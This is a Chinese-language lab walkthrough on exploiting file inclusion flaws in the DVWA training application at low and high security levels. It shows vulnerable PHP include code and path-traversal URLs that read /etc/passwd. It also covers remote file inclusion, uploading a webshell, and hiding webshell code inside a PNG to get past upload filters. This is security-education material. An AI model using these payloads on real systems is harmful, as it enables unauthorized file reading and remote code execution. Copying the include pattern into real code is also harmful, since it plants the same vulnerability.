一、文件包含漏洞
1、把DVWA頁面改為low級別,然后點擊File Inclusion頁面
文件包含漏洞有四種include()/require()/include_once()/require_once()
常見的文件包含漏洞代碼如下
<?php$file=$_GET['filename']; filename隨意定義include($file);
?>
-----------------------------------------
<?phpinclude $_GET['test']; test隨意定義
?>
------------------------------------------
原理是當訪問一個包含文件包含漏洞的php頁面時,比如DVWA的File Inclusion頁面訪問的是low.php和include.php,這兩個頁面包含了include($_GET['page'])這句話,意思是page會把用戶輸入的參數帶進來然后由$_GET讀取,最后交給include()函數把傳參轉換成php語言執行,比如用戶輸入http://dvwa/include.php/?page=../../webshell.php就等于 include(../../webshell.php),只要訪問的php頁面包含include($_GET['page'])就可以進行文件包含漏洞滲透操作。include($_GET['page']) 中的page可以隨便定義只要和用戶輸入的page保持一致即可
?page=../../ 或 ?page=/etc/passwd 都屬于相對路徑,意思是從當前目錄開始查看
?page=file:///etc/passwd 通過file://的方式屬于絕對路徑
?page=http:// 通過http://遠程執行php文件屬于遠程文件包含漏洞
-----------------------------------------------------------------------
(1) 先上傳一個webshell.php文件到file upload頁面(2) 然后在file inclusion頁面訪問如下url執行這個webshell.php文件http://192.168.1.107/DVWA/vulnerabilities/fi/?page=../../hackable/uploads/webshell.php或http://192.168.1.107/DVWA/vulnerabilities/fi/?page=../../../../../../etc/passwd也可以使用絕對路徑http://192.168.1.107/DVWA/vulnerabilities/fi/?page=file:///etc/passwd或使用http://http://192.168.1.107/DVWA/vulnerabilities/fi/?page=http://192.168.1.107/DVWA/hackable/uploads/webshell.php(3) 如果網站不允許上傳.php文件可以把webshell嵌入到圖片中執行cat 1.png webshell.php > 2.pnghttp://192.168.1.107/DVWA/vulnerabilities/fi/?page=../../hackable/uploads/2.png
2、如果把dvwa的級別提高到High,那么再上傳webshell.php就會失敗,此時就只能上傳png/jpg文件才可以
(1) 先準備好2.png圖片然后把webshell.php的代碼植入到3.png圖片中
webshell:
<?php echo shell_exec("df"); ?>
windows:
Copy b/ 2.png+webshell.php 3.png
mac/linux:順序不要搞反了
cat 2.png webshell.php > 3.png(2) 上傳3.png到DVWA
訪問3.png正常顯示圖片:
http://192.168.1.107/DVWA/hackable/uploads/3.png(3) 利用文件包含漏洞進行滲透(需要提前知道你上傳圖片的路徑)
http://192.168.1.107/DVWA/vulnerabilities/fi/?page=file:///var/www/html/DVWA/hackable/uploads/3.png
DVWA為了方便用戶學習會主動句提供文件包含漏洞模塊fi/?page=來幫助用戶學習
或者
http://192.168.1.107/DVWA/vulnerabilities/fi/?page=file:///etc/passwd
file://: 表示系統文件的絕對路徑,這里只能用絕對路徑因為級別是High